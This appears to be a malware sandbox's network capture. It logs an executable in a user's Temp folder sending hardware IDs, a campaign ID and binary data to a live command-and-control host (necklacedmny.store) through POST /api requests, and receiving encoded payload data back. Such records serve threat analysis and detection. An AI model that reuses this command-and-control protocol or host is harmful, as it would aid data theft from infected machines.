2024-10-31 01:09:54 UTC	1369	IN	Data Raw: 2b 64 53 45 39 4c 5a 34 6b 43 37 65 5a 6e 4b 44 54 71 2f 2f 36 5a 6f 46 6e 57 42 57 63 61 35 46 4e 48 72 34 45 6f 64 5a 74 54 2b 34 31 73 45 77 39 2b 67 4a 2b 4d 7a 6b 5a 70 53 46 50 43 32 37 7a 4d 42 49 39 51 61 6a 37 6b 76 6a 75 75 67 57 68 64 39 74 4b 36 36 42 56 48 4b 67 50 52 41 34 33 6e 4f 32 42 74 44 37 62 62 35 4d 30 42 67 6e 6c 76 48 2b 6a 32 63 37 4d 59 30 59 6a 7a 73 2b 2f 70 45 50 65 76 4a 39 77 33 7a 4c 6f 66 47 51 41 44 78 2b 4b 5a 6c 52 79 33 4d 52 6f 47 68 45 74 2f 6a 75 44 55 4c 5a 76 6d 39 74 52 55 32 31 73 44 6a 42 2b 4d 6f 32 36 31 50 44 76 6e 68 73 44 4e 4a 49 34 6f 4a 6d 61 6c 6c 33 36 2f 70 53 68 31 32 73 36 61 34 42 6c 53 46 6e 50 4a 4f 37 48 6d 41 79 67 31 52 73 62 61 7a 4d 31 38 6a 79 30 72 54 36 79 32 63 76 66 74 4e 65 78 6a 50 Data Ascii: +dSE9LZ4kC7eZnKDTq//6ZoFnWBWca5FNHr4EodZtT+41sEw9+gJ+MzkZpSFPC27zMBI9Qaj7kvjuugWhd9tK66BVHKgPRA43nO2BtD7bb5M0BgnlvH+j2c7MY0Yjzs+/pEPevJ9w3zLofGQADx+KZlRy3MRoGhEt/juDULZvm9tRU21sDjB+Mo261PDvnhsDNJI4oJmall36/pSh12s6a4BlSFnPJO7HmAyg1RsbazM18jy0rT6y2cvftNexjP
2024-10-31 01:09:54 UTC	1369	IN	Data Raw: 44 62 77 4f 6f 57 35 48 53 78 68 46 49 43 36 65 61 32 66 45 63 74 7a 45 2b 42 6f 58 6e 52 36 2f 77 62 42 58 36 78 72 37 59 41 55 49 4b 65 76 78 2b 37 49 4e 61 63 46 56 75 74 75 4f 46 68 52 7a 76 4d 44 73 4c 72 4f 5a 6d 6f 37 67 6b 43 47 4e 2f 61 34 31 49 43 77 39 37 36 44 37 6f 58 6f 4b 74 72 50 65 72 31 72 33 30 41 64 5a 30 4a 6a 37 6b 6b 33 2f 50 42 53 67 31 6d 33 72 4f 74 54 55 4f 4e 6a 74 67 44 2b 7a 65 52 6e 45 52 4f 32 50 69 6d 63 68 46 7a 6d 30 61 4f 31 78 32 2b 36 37 5a 4b 51 32 61 35 72 36 4d 56 42 38 53 4f 74 56 43 6e 59 73 50 5a 41 6c 4f 74 36 65 39 71 52 33 58 4d 45 5a 4f 33 61 34 33 72 6f 45 6f 43 4a 66 50 76 36 31 59 56 31 6f 6e 54 50 74 49 33 6b 59 74 44 45 2f 4c 36 67 48 41 57 61 62 4a 33 31 50 6f 6c 6b 61 7a 75 47 77 56 6f 6f 66 4b 74 44 Data Ascii: DbwOoW5HSxhFIC6ea2fEctzE+BoXnR6/wbBX6xr7YAUIKevx+7INacFVutuOFhRzvMDsLrOZmo7gkCGN/a41ICw976D7oXoKtrPer1r30AdZ0Jj7kk3/PBSg1m3rOtTUONjtgD+zeRnERO2PimchFzm0aO1x2+67ZKQ2a5r6MVB8SOtVCnYsPZAlOt6e9qR3XMEZO3a43roEoCJfPv61YV1onTPtI3kYtDE/L6gHAWabJ31PolkazuGwVoofKtD
2024-10-31 01:09:54 UTC	1369	IN	Data Raw: 75 45 50 49 48 71 4b 64 48 42 4f 2f 31 34 31 38 41 62 6f 42 33 2f 38 34 36 6d 4c 75 36 4c 45 59 77 34 72 32 6a 46 52 75 56 6c 71 30 74 35 7a 36 47 69 52 63 76 2b 50 75 74 4d 78 67 74 6c 51 6e 58 75 58 50 4d 35 62 67 59 42 58 36 68 75 75 35 48 45 64 50 4e 2b 77 4f 79 42 36 69 6e 52 77 54 76 39 65 4e 43 43 6d 65 61 58 4d 4c 70 4c 4b 47 56 31 52 68 43 4e 75 4b 2f 79 47 39 42 35 4e 6a 75 41 50 73 2b 31 73 51 56 47 37 2b 75 34 56 34 56 5a 4a 78 4b 67 39 77 52 33 5a 72 75 43 55 55 6f 35 72 33 79 47 78 71 56 32 4b 31 59 70 6e 66 57 6d 42 56 62 76 37 47 76 66 67 5a 67 67 6b 72 54 36 79 32 63 76 66 74 4e 65 78 6a 4f 39 75 78 46 44 73 54 44 36 52 62 4c 42 37 47 4d 55 41 54 42 79 4a 5a 69 41 48 50 4f 62 38 4c 76 4b 4e 2f 6c 75 42 49 46 66 71 48 61 36 31 41 45 6c 59 Data Ascii: uEPIHqKdHBO/1418AboB3/846mLu6LEYw4r2jFRuVlq0t5z6GiRcv+PutMxgtlQnXuXPM5bgYBX6huu5HEdPN+wOyB6inRwTv9eNCCmeaXMLpLKGV1RhCNuK/yG9B5NjuAPs+1sQVG7+u4V4VZJxKg9wR3ZruCUUo5r3yGxqV2K1YpnfWmBVbv7GvfgZggkrT6y2cvftNexjO9uxFDsTD6RbLB7GMUATByJZiAHPOb8LvKN/luBIFfqHa61AElY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	50012	188.114.97.3	443	5808	C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 01:09:56 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: necklacedmny.store
2024-10-31 01:09:56 UTC	12840	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 33 33 43 43 45 32 45 39 42 43 31 30 36 46 43 46 36 45 34 30 42 46 46 31 33 35 42 36 44 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E33CCE2E9BC106FCF6E40BFF135B6DCE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 01:09:56 UTC	1024	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 01:09:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0ao30notqpqk9rnled7lgdd7fi; expires=Sun, 23-Feb-2025 18:56:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BdW6UvvGK%2FC3iph%2F7fVJciICn3Ponac%2FZh1ZIoyIivQ8XMehsiSC4NFeVNa9HCtN%2By0hKtOD8lVm8G%2F1Dbb3a8IhlcQH6oTz4R8wEReDAiLIUvwT5j4SmAHMGW%2FgaMiwzI62txE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dafc331ed5a144c-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1080&sent=8&recv=18&lost=0&retrans=0&sent_bytes=2844&recv_bytes=13782&delivery_rate=2578806&cwnd=247&unsent_bytes=0&cid=e831905d257a1fc0&ts=546&x=0"
2024-10-31 01:09:56 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 01:09:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	50014	188.114.97.3	443	5808	C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 01:09:57 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: necklacedmny.store
2024-10-31 01:09:57 UTC	15082	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 33 33 43 43 45 32 45 39 42 43 31 30 36 46 43 46 36 45 34 30 42 46 46 31 33 35 42 36 44 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E33CCE2E9BC106FCF6E40BFF135B6DCE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 01:09:58 UTC	1019	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 01:09:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r15svnbv409n6cnarktakhgg09; expires=Sun, 23-Feb-2025 18:56:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=owiXNYMckoqO05267eEyUrz4NpyD1OAQI3aGT5iUSnA%2F%2FCoqFXkGLqptbMWQ%2BYLYpu5TbdQjbCeRqmpZp1n%2B5gGycSmoJvN3QZ6NKOvsoCRuYZ55MKmoSMNEA8dqslF9n9nXWGY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dafc33b8b38e9c6-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1074&sent=10&recv=21&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16024&delivery_rate=2644748&cwnd=245&unsent_bytes=0&cid=c7b809026f27df1c&ts=804&x=0"
2024-10-31 01:09:58 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 01:09:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	50019	188.114.97.3	443	5808	C:\Users\user\AppData\Local\Temp\1002755001\b6ea789a1a.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 01:10:01 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20572 Host: necklacedmny.store
2024-10-31 01:10:01 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 33 33 43 43 45 32 45 39 42 43 31 30 36 46 43 46 36 45 34 30 42 46 46 31 33 35 42 36 44 43 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"E33CCE2E9BC106FCF6E40BFF135B6DCE--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 01:10:01 UTC	5241	OUT	Data Raw: 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-10-31 01:10:01 UTC	1017	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 01:10:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=aag6nvleb4584v2sj31ggigse1; expires=Sun, 23-Feb-2025 18:56:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AOD%2FtVxK0fpTkJleKEYEzMaZkOYSh1W%2FyryaWhMP1hxcnB4QIDl5fL9EOK%2BZEF6KjpHynwTNS0alp7ium2wConirYBbMrjVDqAWZMHFfiNFrHKh6MxOMD7Rj20eqa1Mf3hBrdb8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dafc3518e104769-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1133&sent=16&recv=27&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21536&delivery_rate=2542581&cwnd=249&unsent_bytes=0&cid=e4dd33e9fe4b3b06&ts=906&x=0"
2024-10-31 01:10:01 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 01:10:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	50027	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 01:10:20 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-31 01:10:20 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-31 01:10:21 UTC	1007	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 01:10:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=knfo0qa6n6kdpndvabmrirk60b; expires=Sun, 23-Feb-2025 18:56:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G1qzbS7tKJ6xnVCFwZxWAVRnbYpKyfOKAJzV6KsfdJkZf6vzUZL1W3Bw6bn7PngYI1KnvfTmSCTRQRyIEUOCXa1cldo3OxcpYOqo5HNB4bcmIMviKKh62zTLPlRPsOwNvDE1hU0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dafc3cb5a8b2845-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1164&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=2366013&cwnd=251&unsent_bytes=0&cid=43dc6ed80185aa0f&ts=561&x=0"
2024-10-31 01:10:21 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-31 01:10:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	50028	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 01:10:27 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-31 01:10:27 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-31 01:10:27 UTC	1015	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 01:10:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=muehjhoorjisrrn7r2nkgs4nnu; expires=Sun, 23-Feb-2025 18:57:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uA1%2B4fSBlRTpeMjYQnvPVaLzTN4EZOgIpAt6%2FzXZg0BIRZbVbp9q01qXu7JKjIy9ZeKhcyY3vdATYiBY7h4yCxoFQIg6hOksMD1%2Bzem9xuelrIri%2FzUlkYMC62o6aATHFRVz4zk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dafc3f4aaed4760-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1746&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=1585112&cwnd=246&unsent_bytes=0&cid=b4159ad60633f543&ts=787&x=0"
2024-10-31 01:10:27 UTC	354	IN	Data Raw: 34 34 36 63 0d 0a 59 44 51 4d 6f 38 45 63 4a 6a 35 78 72 64 36 77 41 59 43 7a 74 42 77 49 71 44 70 38 30 2f 6b 55 57 4b 4e 33 2f 67 30 50 72 68 45 62 46 6e 71 42 2b 79 67 4b 48 41 4c 49 2f 49 70 31 38 73 62 52 4d 43 72 4a 58 6c 37 70 6e 33 55 30 30 42 4c 53 4c 33 6e 44 4d 31 70 53 62 63 2b 79 65 51 6f 63 46 4e 58 38 69 6c 72 37 6b 64 46 79 4b 70 49 59 47 62 6d 62 64 54 54 42 46 70 56 69 66 38 4a 79 43 46 68 72 79 36 52 2f 51 6c 38 64 77 4c 76 56 5a 4f 48 5a 32 6e 56 6c 77 46 64 65 2f 39 74 78 49 6f 46 4e 33 45 42 71 32 6e 41 74 56 58 2f 49 34 32 45 4b 52 56 50 49 73 4a 49 37 6f 74 4c 52 66 6d 54 4f 58 68 65 37 6b 58 77 38 77 42 4f 55 66 57 62 49 65 51 68 57 61 4d 71 75 64 6c 5a 53 46 38 65 77 30 32 37 68 6b 5a 67 2b 62 64 49 59 52 76 48 49 52 44 6e 51 42 Data Ascii: 446cYDQMo8EcJj5xrd6wAYCztBwIqDp80/kUWKN3/g0PrhEbFnqB+ygKHALI/Ip18sbRMCrJXl7pn3U00BLSL3nDM1pSbc+yeQocFNX8ilr7kdFyKpIYGbmbdTTBFpVif8JyCFhry6R/Ql8dwLvVZOHZ2nVlwFde/9txIoFN3EBq2nAtVX/I42EKRVPIsJI7otLRfmTOXhe7kXw8wBOUfWbIeQhWaMqudlZSF8ew027hkZg+bdIYRvHIRDnQB
2024-10-31 01:10:27 UTC	1369	IN	Data Raw: 63 30 52 4f 47 38 53 33 31 33 48 70 32 4e 74 7a 61 73 64 53 45 62 4b 62 63 54 44 4c 47 70 5a 72 59 4d 46 31 41 6c 59 75 6a 2b 4e 35 58 42 78 4c 6a 35 2f 58 63 2b 58 64 77 44 78 51 69 6b 64 51 71 4e 74 78 4e 6f 46 4e 33 47 64 6f 7a 33 41 4a 57 57 33 4a 71 47 78 45 54 68 58 43 75 63 42 6c 35 39 2f 63 66 58 6a 41 56 68 69 79 6b 6e 30 7a 78 42 4b 59 4c 79 4f 4d 64 42 6f 57 4e 6f 47 43 63 30 39 51 47 64 69 38 6b 6e 79 73 79 4a 5a 35 5a 6f 6f 41 58 72 57 61 63 6a 76 46 47 35 4a 72 59 63 70 39 44 31 6c 6f 79 36 4e 35 54 6c 51 62 7a 72 48 5a 62 4f 4c 55 32 33 70 73 78 6c 6b 62 38 64 55 32 50 64 6c 56 78 43 39 44 79 33 41 51 46 46 76 43 72 58 42 44 53 6c 50 51 38 73 73 6a 35 64 32 57 4a 69 72 45 58 52 47 6a 6d 6d 51 2f 7a 77 65 51 61 6d 76 42 63 41 78 57 61 38 61 Data Ascii: c0ROG8S313Hp2NtzasdSEbKbcTDLGpZrYMF1AlYuj+N5XBxLj5/Xc+XdwDxQikdQqNtxNoFN3Gdoz3AJWW3JqGxEThXCucBl59/cfXjAVhiykn0zxBKYLyOMdBoWNoGCc09QGdi8knysyJZ5ZooAXrWacjvFG5JrYcp9D1loy6N5TlQbzrHZbOLU23psxlkb8dU2PdlVxC9Dy3AQFFvCrXBDSlPQ8ssj5d2WJirEXRGjmmQ/zweQamvBcAxWa8a
2024-10-31 01:10:27 UTC	1369	IN	Data Raw: 6c 50 51 38 73 73 6a 35 64 32 57 4a 69 72 47 55 52 36 36 6b 58 49 36 78 68 69 5a 62 47 72 50 66 67 56 63 59 4d 61 6e 63 6b 31 52 46 63 2b 37 31 6d 62 77 31 4e 39 79 5a 6f 6f 57 58 72 61 44 4e 6d 4b 42 4f 70 74 35 62 75 4e 77 45 31 38 75 33 75 31 6e 42 46 73 66 6a 2b 53 53 5a 4f 66 5a 33 58 68 69 79 6b 6f 62 76 35 42 33 4d 4d 63 55 6b 57 4e 72 7a 48 49 43 55 47 4c 42 70 48 6c 57 54 68 62 4a 72 74 67 6a 72 4a 48 52 5a 69 71 53 47 43 69 68 6a 47 63 73 67 79 43 66 59 57 50 4c 5a 55 4a 4a 49 4e 6a 6a 65 55 67 63 53 34 2b 33 30 6d 2f 6c 32 64 42 36 59 73 56 58 46 36 4f 61 65 6a 54 54 45 70 78 6d 59 38 4e 2f 43 31 74 70 7a 4b 68 30 53 56 67 55 7a 76 79 63 49 2b 58 4a 6c 69 59 71 2f 45 67 54 76 62 56 39 4e 73 68 56 67 79 46 30 6a 48 51 4f 46 6a 61 42 70 33 4a 4d Data Ascii: lPQ8ssj5d2WJirGUR66kXI6xhiZbGrPfgVcYManck1RFc+71mbw1N9yZooWXraDNmKBOpt5buNwE18u3u1nBFsfj+SSZOfZ3Xhiykobv5B3MMcUkWNrzHICUGLBpHlWThbJrtgjrJHRZiqSGCihjGcsgyCfYWPLZUJJINjjeUgcS4+30m/l2dB6YsVXF6OaejTTEpxmY8N/C1tpzKh0SVgUzvycI+XJliYq/EgTvbV9NshVgyF0jHQOFjaBp3JM
2024-10-31 01:10:27 UTC	1369	IN	Data Raw: 6e 58 5a 2b 58 56 30 48 45 71 68 42 67 5a 71 64 73 75 65 75 34 79 71 53 31 4d 39 6a 4d 64 47 48 65 42 70 48 49 45 42 46 50 44 76 39 35 72 37 64 66 66 63 6d 44 44 55 78 4b 36 6e 33 6f 7a 78 42 4f 64 61 6d 6a 4e 64 77 35 63 61 4d 4b 67 63 55 74 54 47 34 2f 79 6b 6d 54 36 6b 59 34 2b 54 39 31 54 45 4c 66 62 61 58 54 59 56 5a 74 6a 4c 5a 51 7a 44 6c 39 6f 78 36 5a 79 52 56 6f 62 79 72 54 57 59 75 54 58 31 58 46 75 7a 31 6b 52 74 5a 64 34 4d 4d 41 55 6b 47 52 69 78 33 5a 43 47 43 37 47 75 7a 34 63 48 43 4c 4d 71 73 56 7a 37 70 48 4a 4d 48 4f 4b 58 78 4c 78 77 7a 59 37 30 78 2b 57 59 57 6a 44 64 67 46 5a 61 63 79 6c 63 6b 35 56 47 38 6d 7a 32 33 48 68 33 64 68 35 5a 4d 5a 57 45 37 75 59 65 33 71 50 56 5a 74 33 4c 5a 51 7a 4c 6c 46 6a 37 36 68 79 51 78 77 4d 67 Data Ascii: nXZ+XV0HEqhBgZqdsueu4yqS1M9jMdGHeBpHIEBFPDv95r7dffcmDDUxK6n3ozxBOdamjNdw5caMKgcUtTG4/ykmT6kY4+T91TELfbaXTYVZtjLZQzDl9ox6ZyRVobyrTWYuTX1XFuz1kRtZd4MMAUkGRix3ZCGC7Guz4cHCLMqsVz7pHJMHOKXxLxwzY70x+WYWjDdgFZacylck5VG8mz23Hh3dh5ZMZWE7uYe3qPVZt3LZQzLlFj76hyQxwMg
2024-10-31 01:10:27 UTC	1369	IN	Data Raw: 69 31 73 34 2b 4d 6f 70 75 47 61 47 4c 64 58 6a 77 41 35 39 35 5a 73 46 2f 51 6b 6b 67 32 4f 4e 35 53 42 78 4c 6a 37 72 64 61 75 48 65 31 33 64 6d 78 31 30 58 74 4a 70 77 50 73 73 66 6e 47 6c 72 7a 58 59 49 56 57 2f 4c 71 6e 6c 4d 57 78 44 64 2f 4a 77 6a 35 63 6d 57 4a 69 72 6a 58 77 79 2f 69 7a 59 6c 6a 77 7a 63 61 47 47 4d 4b 30 4a 53 5a 4d 36 6e 65 55 68 61 46 73 6d 78 30 32 7a 6a 30 64 6c 36 59 63 4e 65 48 37 79 65 65 7a 37 54 48 35 64 67 59 63 56 2f 44 78 59 67 67 61 52 6d 42 41 52 54 2f 72 48 63 62 65 58 48 6c 6d 45 6b 30 78 67 5a 76 64 73 75 65 73 41 5a 6b 32 78 69 7a 33 41 44 58 48 7a 54 72 33 64 4d 57 52 2f 45 73 74 52 78 35 4e 37 66 66 57 6e 44 58 78 61 39 6b 58 55 39 67 56 76 63 61 48 57 4d 4b 30 4a 31 65 64 47 75 50 6c 73 53 43 6f 2b 37 33 69 Data Ascii: 